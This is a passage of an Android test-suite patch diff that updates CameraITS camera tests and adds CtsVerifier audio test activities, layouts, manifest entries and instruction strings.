Prepare for Android 10 Test Suite R2.
diff --git a/apps/CameraITS/tests/scene0/test_jitter.py b/apps/CameraITS/tests/scene0/test_jitter.py
index c75ee60..1bc0855 100644
--- a/apps/CameraITS/tests/scene0/test_jitter.py
+++ b/apps/CameraITS/tests/scene0/test_jitter.py
@@ -23,6 +23,7 @@
 from matplotlib import pylab
 
 # PASS/FAIL thresholds
+TEST_FPS = 30
 MIN_AVG_FRAME_DELTA = 30  # at least 30ms delta between frames
 MAX_VAR_FRAME_DELTA = 0.01  # variance of frame deltas
 MAX_FRAME_DELTA_JITTER = 0.3  # max ms gap from the average frame delta
@@ -39,6 +40,7 @@
                              its.caps.sensor_fusion(props))
 
         req, fmt = its.objects.get_fastest_manual_capture_settings(props)
+        req["android.control.aeTargetFpsRange"] = [TEST_FPS, TEST_FPS]
         caps = cam.do_capture([req]*50, [fmt])
 
         # Print out the millisecond delta between the start of each exposure
diff --git a/apps/CameraITS/tests/scene1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
index ba8fd7d..98efd4e 100644
--- a/apps/CameraITS/tests/scene1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
@@ -12,6 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
+import math
 import os.path
 import its.caps
 import its.device
@@ -25,7 +26,7 @@
 DIFF_THRESH = 0.0012  # absolute variance delta threshold
 FRAC_THRESH = 0.2  # relative variance delta threshold
 NUM_STEPS = 4
-STATS_GRID = 49  # center 2.04% of image for calculations
+SENS_TOL = 0.97  # specification is <= 3%
 
 
 def main():
@@ -41,51 +42,42 @@
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.raw(props) and
+        its.caps.skip_unless(
+                its.caps.raw(props) and
                 its.caps.raw16(props) and
                 its.caps.manual_sensor(props) and
                 its.caps.read_3a(props) and
                 its.caps.per_frame_control(props) and
                 not its.caps.mono_camera(props))
 
-        debug = its.caps.debug_mode()
-
         white_level = float(props['android.sensor.info.whiteLevel'])
         cfa_idxs = its.image.get_canonical_cfa_order(props)
-        aax = props['android.sensor.info.preCorrectionActiveArraySize']['left']
-        aay = props['android.sensor.info.preCorrectionActiveArraySize']['top']
-        aaw = props['android.sensor.info.preCorrectionActiveArraySize']['right']-aax
-        aah = props['android.sensor.info.preCorrectionActiveArraySize']['bottom']-aay
 
         # Expose for the scene with min sensitivity
-        sens_min, sens_max = props['android.sensor.info.sensitivityRange']
-        sens_step = (sens_max - sens_min) / NUM_STEPS
+        sens_min, _ = props['android.sensor.info.sensitivityRange']
+        sens_max_ana = props['android.sensor.maxAnalogSensitivity']
+        sens_step = (sens_max_ana - sens_min) / NUM_STEPS
         s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
         s_e_prod = s_ae * e_ae
-        sensitivities = range(sens_min, sens_max, sens_step)
+        sensitivities = range(sens_min, sens_max_ana+1, sens_step)
 
         var_expected = [[], [], [], []]
         var_measured = [[], [], [], []]
-        x = STATS_GRID/2  # center in H of STATS_GRID
-        y = STATS_GRID/2  # center in W of STATS_GRID
+        sens_valid = []
         for sens in sensitivities:
-
             # Capture a raw frame with the desired sensitivity
             exp = int(s_e_prod / float(sens))
             req = its.objects.manual_capture_request(sens, exp, f_dist)
-            if debug:
-                cap = cam.do_capture(req, cam.CAP_RAW)
-                planes = its.image.convert_capture_to_planes(cap, props)
-            else:
-                cap = cam.do_capture(req, {'format': 'rawStats',
-                                           'gridWidth': aaw/STATS_GRID,
-                                           'gridHeight': aah/STATS_GRID})
-                mean_img, var_img = its.image.unpack_rawstats_capture(cap)
+            cap = cam.do_capture(req, cam.CAP_RAW)
+            planes = its.image.convert_capture_to_planes(cap, props)
+            s_read = cap['metadata']['android.sensor.sensitivity']
+            print 'iso_write: %d, iso_read: %d' % (sens, s_read)
 
             # Test each raw color channel (R, GR, GB, B)
             noise_profile = cap['metadata']['android.sensor.noiseProfile']
             assert len(noise_profile) == len(BAYER_LIST)
             for i in range(len(BAYER_LIST)):
+                print BAYER_LIST[i],
                 # Get the noise model parameters for this channel of this shot.
                 ch = cfa_idxs[i]
                 s, o = noise_profile[ch]
@@ -96,23 +88,43 @@
                 black_level = its.image.get_black_level(i, props,
                                                         cap['metadata'])
                 level_range = white_level - black_level
-                if debug:
-                    plane = ((planes[i] * white_level - black_level) /
-                             level_range)
-                    tile = its.image.get_image_patch(plane, 0.49, 0.49,
-                                                     0.02, 0.02)
-                    mean_img_ch = tile.mean()
-                    var_measured[i].append(
-                            its.image.compute_image_variances(tile)[0])
-                else:
-                    mean_img_ch = (mean_img[x, y, ch]-black_level)/level_range
-                    var_measured[i].append(var_img[x, y, ch]/level_range**2)
-                var_expected[i].append(s * mean_img_ch + o)
+                plane = its.image.get_image_patch(planes[i], 0.49, 0.49,
+                                                  0.02, 0.02)
+                tile_raw = plane * white_level
+                tile_norm = ((tile_raw - black_level) / level_range)
 
+                # exit if distribution is clipped at 0, otherwise continue
+                mean_img_ch = tile_norm.mean()
+                var_model = s * mean_img_ch + o
+                # This computation is a suspicious because if the data were
+                # clipped, the mean and standard deviation could be affected
+                # in a way that affects this check. However, empirically,
+                # the mean and standard deviation change more slowly than the
+                # clipping point itself does, so the check remains correct
+                # even after the signal starts to clip.
+                mean_minus_3sigma = mean_img_ch - math.sqrt(var_model) * 3
+                if mean_minus_3sigma < 0:
+                    e_msg = '\nPixel distribution crosses 0.\n'
+                    e_msg += 'Likely black level over-clips.\n'
+                    e_msg += 'Linear model is not valid.\n'
+                    e_msg += 'mean: %.3e, var: %.3e, u-3s: %.3e' % (
+                            mean_img_ch, var_model, mean_minus_3sigma)
+                    assert 0, e_msg
+                else:
+                    print 'mean:', mean_img_ch,
+                    var_measured[i].append(
+                            its.image.compute_image_variances(tile_norm)[0])
+                    print 'var:', var_measured[i][-1],
+                    var_expected[i].append(var_model)
+                    print 'var_model:', var_expected[i][-1]
+            print ''
+            sens_valid.append(sens)
+
+    # plot data and models
     for i, ch in enumerate(BAYER_LIST):
-        pylab.plot(sensitivities, var_expected[i], 'rgkb'[i],
+        pylab.plot(sens_valid, var_expected[i], 'rgkb'[i],
                    label=ch+' expected')
-        pylab.plot(sensitivities, var_measured[i], 'rgkb'[i]+'--',
+        pylab.plot(sens_valid, var_measured[i], 'rgkb'[i]+'.--',
                    label=ch+' measured')
     pylab.xlabel('Sensitivity')
     pylab.ylabel('Center patch variance')
@@ -122,7 +134,7 @@
     # PASS/FAIL check
     for i, ch in enumerate(BAYER_LIST):
         diffs = [abs(var_measured[i][j] - var_expected[i][j])
-                 for j in range(len(sensitivities))]
+                 for j in range(len(sens_valid))]
         print 'Diffs (%s):'%(ch), diffs
         for j, diff in enumerate(diffs):
             thresh = max(DIFF_THRESH, FRAC_THRESH*var_expected[i][j])
diff --git a/apps/CameraITS/tests/scene1/test_exposure.py b/apps/CameraITS/tests/scene1/test_exposure.py
index e536d42..a13f020 100644
--- a/apps/CameraITS/tests/scene1/test_exposure.py
+++ b/apps/CameraITS/tests/scene1/test_exposure.py
@@ -108,7 +108,7 @@
             assert 0 <= s_test - s_res < s_test * THRESH_ROUND_DOWN_GAIN, s_msg
             assert 0 <= e_test - e_res < e_test * thresh_round_down_exp, e_msg
             s_e_product_res = s_res * e_res
-            request_result_ratio = s_e_product / s_e_product_res
+            request_result_ratio = float(s_e_product) / s_e_product_res
             print 'Capture result s:', s_res, 'e:', e_res
             img = its.image.convert_capture_to_rgb_image(cap)
             its.image.write_image(img, '%s_mult=%3.2f.jpg' % (NAME, m))
diff --git a/apps/CameraITS/tests/scene1/test_param_shading_mode.py b/apps/CameraITS/tests/scene1/test_param_shading_mode.py
index a65c630..a5f85ca 100644
--- a/apps/CameraITS/tests/scene1/test_param_shading_mode.py
+++ b/apps/CameraITS/tests/scene1/test_param_shading_mode.py
@@ -58,6 +58,13 @@
         #      switching shading modes.
         cam.do_3a(mono_camera=mono_camera)
 
+        # Use smallest yuv size matching the aspect ratio of largest yuv size to
+        # reduce some USB bandwidth overhead since we are only looking at output
+        # metadata in this test.
+        largest_yuv_fmt = its.objects.get_largest_yuv_format(props)
+        largest_yuv_size = (largest_yuv_fmt['width'], largest_yuv_fmt['height'])
+        cap_fmt = its.objects.get_smallest_yuv_format(props, largest_yuv_size)
+
         # Get the reference lens shading maps for OFF, FAST, and HIGH_QUALITY
         # in different sessions.
         # reference_maps[mode]
@@ -68,7 +75,7 @@
             req = its.objects.auto_capture_request()
             req['android.statistics.lensShadingMapMode'] = 1
             req['android.shading.mode'] = mode
-            cap_res = cam.do_capture([req]*NUM_FRAMES)[NUM_FRAMES-1]['metadata']
+            cap_res = cam.do_capture([req]*NUM_FRAMES, cap_fmt)[NUM_FRAMES-1]['metadata']
             lsc_map = cap_res['android.statistics.lensShadingCorrectionMap']
             assert(lsc_map.has_key('width') and
                    lsc_map.has_key('height') and
@@ -89,7 +96,7 @@
                     req['android.shading.mode'] = mode
                     reqs.append(req)
 
-        caps = cam.do_capture(reqs)
+        caps = cam.do_capture(reqs, cap_fmt)
 
         # shading_maps[mode][loop]
         shading_maps = [[[] for loop in range(NUM_SHADING_MODE_SWITCH_LOOPS)]
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index f825773..c2f4fef 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -302,12 +302,6 @@
             assert False
         scenes = temp_scenes
 
-    # Initialize test results
-    results = {}
-    result_key = ItsSession.RESULT_KEY
-    for s in all_scenes:
-        results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
-
     # Make output directories to hold the generated files.
     topdir = tempfile.mkdtemp(dir=tmp_dir)
     subprocess.call(['chmod', 'g+rx', topdir])
@@ -398,6 +392,12 @@
             assert wake_code == 0
 
     for id_combo in camera_id_combos:
+        # Initialize test results
+        results = {}
+        result_key = ItsSession.RESULT_KEY
+        for s in all_scenes:
+            results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
+
         camera_fov = calc_camera_fov(id_combo.id, id_combo.sub_id)
         id_combo_string = id_combo.id;
         has_hidden_sub_camera = id_combo.sub_id is not None
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index b5af652..dec48ea 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -102,7 +102,10 @@
                 android:label="@string/report_viewer" />
 
         <provider android:name=".TestResultsProvider"
-                android:authorities="com.android.cts.verifier.testresultsprovider" />
+                android:authorities="com.android.cts.verifier.testresultsprovider"
+                android:grantUriPermissions="true"
+                android:exported="true"
+                android:enabled="true" />
 
         <activity android:name=".admin.PolicySerializationTestActivity"
                 android:label="@string/da_policy_serialization_test"
@@ -2892,6 +2895,13 @@
             <meta-data android:name="test_required_features" android:value="android.software.managed_users:android.software.device_admin" />
         </activity>
 
+        <receiver
+            android:name=".managedprovisioning.ByodFlowTestActivity$ProvisioningCompleteReceiver">
+            <intent-filter>
+                <action android:name="android.app.action.MANAGED_PROFILE_PROVISIONED" />
+            </intent-filter>
+        </receiver>
+
         <activity android:name=".managedprovisioning.CompTestActivity"
                 android:launchMode="singleTask"
                 android:label="@string/comp_test">
@@ -3405,6 +3415,26 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.usb.host" />
         </activity>
 
+        <activity android:name=".audio.AudioFrequencyVoiceRecognitionActivity"
+                  android:label="@string/audio_frequency_voice_recognition_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.usb.host" />
+        </activity>
+
+        <activity android:name=".audio.AudioAEC"
+                  android:label="@string/audio_aec_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
+        </activity>
+
         <service android:name=".tv.MockTvInputService"
             android:permission="android.permission.BIND_TV_INPUT">
             <intent-filter>
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index d277c6b..85f378e 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
@@ -29,6 +29,9 @@
 
 -keepclasseswithmembers class * extends com.android.cts.verifier.location.LocationModeTestActivity
 
+-keepclasseswithmembers class * extends com.android.cts.verifier.audio.HifiUltrasoundSpeakerTestActivity
+-keepclasseswithmembers class * extends com.android.cts.verifier.audio.HifiUltrasoundTestActivity
+
 # keep mockito methods
 -keep class org.mockito.** { *; }
 -keep interface org.mockito.** { *; }
diff --git a/apps/CtsVerifier/res/layout/audio_aec_activity.xml b/apps/CtsVerifier/res/layout/audio_aec_activity.xml
new file mode 100644
index 0000000..83aa9cd
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_aec_activity.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical"
+    style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:id="@+id/scrollView">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+
+            <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:id="@+id/audio_aec_mandatory_info"
+                    android:text="@string/audio_aec_mandatory_test" />
+
+            <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal" >
+
+                <Button
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:id="@+id/audio_aec_mandatory_no"
+                        android:text="@string/af_no" />
+                <Button
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:id="@+id/audio_aec_mandatory_yes"
+                        android:text="@string/af_yes" />
+            </LinearLayout>
+
+            <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="vertical"
+                    android:id="@+id/audio_aec_test_layout" >
+
+                <View
+                        android:layout_width="match_parent"
+                        android:layout_height="1dp"
+                        android:background="?android:colorAccent" />
+
+                <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:scrollbars="vertical"
+                        android:gravity="bottom"
+                        android:text="@string/audio_aec_instructions"
+                        android:id="@+id/audio_aec_instructions" />
+
+                <Button
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:soundEffectsEnabled="false"
+                        android:text="@string/af_button_test"
+                        android:id="@+id/audio_aec_button_test" />
+                <ProgressBar
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:layout_weight="1"
+                        android:id="@+id/audio_aec_test_progress_bar" />
+
+                <TextView
+                        android:layout_width="match_parent"
+                        android:layout_height="wrap_content"
+                        android:text="@string/af_test_results"
+                        android:id="@+id/audio_aec_test_result" />
+            </LinearLayout>
+
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_voice_recognition_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_voice_recognition_activity.xml
new file mode 100644
index 0000000..c6cd0cd
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_frequency_voice_recognition_activity.xml
@@ -0,0 +1,303 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical"
+    style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:id="@+id/scrollView">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+
+            <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/vr_layout_test_tone">
+
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
+
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:text="@string/vr_test_tone_instructions"
+                    android:id="@+id/vr_test_tone_instructions" />
+
+                <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal">
+
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_test"
+                            android:id="@+id/vr_button_test_tone" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/vr_test_tone_progress_bar" />
+
+                    </LinearLayout>
+
+                    <View
+                        android:layout_width="1dp"
+                        android:layout_height="match_parent"
+                        android:background="?android:colorAccent" />
+
+                    <LinearLayout
+                        android:layout_width="0dp"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="1">
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_play"
+                            android:id="@+id/vr_button_play_tone" />
+                    </LinearLayout>
+                </LinearLayout>
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/af_test_results"
+                    android:id="@+id/vr_test_tone_result" />
+            </LinearLayout>
+
+            <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/vr_layout_test_noise">
+
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
+
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:text="@string/vr_test_noise_instructions"
+                    android:id="@+id/vr_test_noise_instructions" />
+
+                <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal">
+
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_test"
+                            android:id="@+id/vr_button_test_noise" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/vr_test_noise_progress_bar" />
+                    </LinearLayout>
+
+                    <View
+                        android:layout_width="1dp"
+                        android:layout_height="match_parent"
+                        android:background="?android:colorAccent" />
+
+                    <LinearLayout
+                        android:layout_width="0dp"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="1">
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_play"
+                            android:id="@+id/vr_button_play_noise" />
+                    </LinearLayout>
+                </LinearLayout>
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/af_test_results"
+                    android:id="@+id/vr_test_noise_result" />
+            </LinearLayout>
+
+        <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/vr_layout_test_usb_background">
+
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
+
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:text="@string/vr_test_usb_background_instructions"
+                    android:id="@+id/vr_test_usb_background_instructions" />
+
+                <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal">
+
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_test"
+                            android:id="@+id/vr_button_test_usb_background" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/vr_test_usb_background_progress_bar" />
+                    </LinearLayout>
+                </LinearLayout>
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/af_test_results"
+                    android:id="@+id/vr_test_usb_background_result" />
+            </LinearLayout>
+
+            <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/vr_layout_test_usb_noise">
+
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
+
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:text="@string/vr_test_usb_noise_instructions"
+                    android:id="@+id/vr_test_usb_noise_instructions" />
+
+                <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal">
+
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_test"
+                            android:id="@+id/vr_button_test_usb_noise" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/vr_test_usb_noise_progress_bar" />
+                    </LinearLayout>
+
+                    <View
+                        android:layout_width="1dp"
+                        android:layout_height="match_parent"
+                        android:background="?android:colorAccent" />
+
+                    <LinearLayout
+                        android:layout_width="0dp"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="1">
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_play"
+                            android:id="@+id/vr_button_play_usb_noise" />
+                    </LinearLayout>
+                </LinearLayout>
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/af_test_results"
+                    android:id="@+id/vr_test_usb_noise_result" />
+            </LinearLayout>
+            <View
+                android:layout_width="match_parent"
+                android:layout_height="1dp"
+                android:background="?android:colorAccent" />
+
+            <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/af_global_test_results"
+                    android:id="@+id/vr_test_global_result" />
+
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index 71edb71..3182499 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -13,6 +13,24 @@
         android:layout_width="match_parent"
         android:layout_height="wrap_content">
         <TextView
+            android:text="@string/proAudioHasProAudiolbl"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:textSize="18sp"/>
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:paddingLeft="10dp"
+            android:paddingRight="10dp"
+            android:id="@+id/proAudioHasProAudioLbl"
+            android:textSize="18sp"/>
+    </LinearLayout>
+
+    <LinearLayout android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+        <TextView
             android:text="@string/proAudioHasLLAlbl"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/raw/speech.mp3 b/apps/CtsVerifier/res/raw/speech.mp3
new file mode 100644
index 0000000..b8ed1c8
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/speech.mp3
Binary files differ
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 057ac46..22109e7 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -53,7 +53,9 @@
     <string name="test_results_clear_cancel">Cancel</string>
     <string name="test_results_cleared">Test results cleared.</string>
     <string name="view">View</string>
-    <string name="test_results_error">Couldn\'t create test results report.</string>
+    <string name="test_results_error">Couldn\'t create test results report. Try running the
+        following command if you haven\'t yet.\n\"adb shell appops set com.android.cts.verifier
+        android:read_device_identifiers allow\" </string>
     <string name="runtime_permissions_error">Please grant runtime permissions, otherwise, tests might fail.</string>
     <string name="export">Export</string>
     <string name="no_storage">Cannot save report to external storage, see log for details.</string>
@@ -549,10 +551,7 @@
     <string name="ble_scan_stop">Stop scan</string>
 
     <!-- BLE connection priority test strings -->
-    <string name="ble_client_connection_priority">Testing priority: </string>
-    <string name="ble_connection_priority_balanced">BALANCED</string>
-    <string name="ble_connection_priority_high">HIGH</string>
-    <string name="ble_connection_priority_low">LOW</string>
+    <string name="ble_client_connection_priority">Testing connection priority switching </string>
     <string name="ble_server_connection_priority_result_passed">All test passed</string>
     <string name="ble_server_connection_priority_result_failed">Test failed.</string>
     <string name="ble_server_connection_priority_result_intervals">
@@ -580,9 +579,7 @@
     <string name="ble_write_authenticated_characteristic_name">Bluetooth LE Write Encrypted Characteristic</string>
     <string name="ble_read_authenticated_descriptor_name">Bluetooth LE Read Encrypted Descriptor</string>
     <string name="ble_write_authenticated_descriptor_name">Bluetooth LE Write Encrypted Descriptor</string>
-    <string name="ble_connection_priority_client_high">Bluetooth LE Send With CONNECTION_PRIORITY_HIGH</string>
-    <string name="ble_connection_priority_client_low">Bluetooth LE Send With CONNECTION_PRIORITY_LOW_POWER</string>
-    <string name="ble_connection_priority_client_balanced">Bluetooth LE Send With CONNECTION_PRIORITY_BALANCED</string>
+    <string name="ble_connection_priority_client_description">Client Switching Connection Priority</string>
     <string name="ble_indicate_characteristic_name">Bluetooth LE Indicate Characteristic</string>
     <string name="ble_encrypted_client_name">03 Bluetooth LE Encrypted Client Test</string>
     <string name="ble_encrypted_client_info">Bluetooth LE Encrypted Client read/write on characteristic and descriptor need encrypted.</string>
@@ -2803,7 +2800,7 @@
         Please press the Go button to open the Settings page.
         (If this device has a separate app for work settings, ignore the Go button and navigate to that app manually).\n
         \n
-        Navigate to \"Data usage\" page and then into the \"Wi-Fi data usage\" category.\n
+        Navigate to the \"Network &amp; Internet\" page and then click on \"Wi-Fi\" and then \"Wi-Fi data usage\".\n
         Confirm that \"All work apps\" section is present and that it is possible to see the data usage for work (badged) apps.\n
         (If the section is not present, this might be because work apps have not used Wi-Fi data yet. Ensure that you have used Wi-Fi data on a work app, then repeat these instructions.)\n
         \n
@@ -2819,7 +2816,7 @@
         Please press the Go button to open the Settings page.
         (If this device has a separate app for work settings, ignore the Go button and navigate to that app manually).\n
         \n
-        Navigate to \"Data usage\" page and then into the \"Mobile data usage\" category.\n
+        Navigate to the \"Network &amp; Internet\" page and then click on \"Mobile network\" and then \"App data usage\".\n
         Confirm that \"All work apps\" section is present and that it is possible to see the data usage for work (badged) apps.\n
         \n
         Then use the Back button (or navigate back to this app using Recents) to return to this test and mark accordingly.
@@ -3639,10 +3636,12 @@
     <string name="device_owner_disallow_remove_user_info">
         Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
         \'Set restriction\' button to set the user restriction.
-        Then press \'Go\' to open \'Multiple users\' setting. \n\n
+        Then press \'Go\' to open \'Multiple users\' setting. \n
+        Click the Settings icon adjacent to the managed user.\n\n
 
         Mark this test as passed if:\n\n
-        - Main switch is disabled and in off position\n
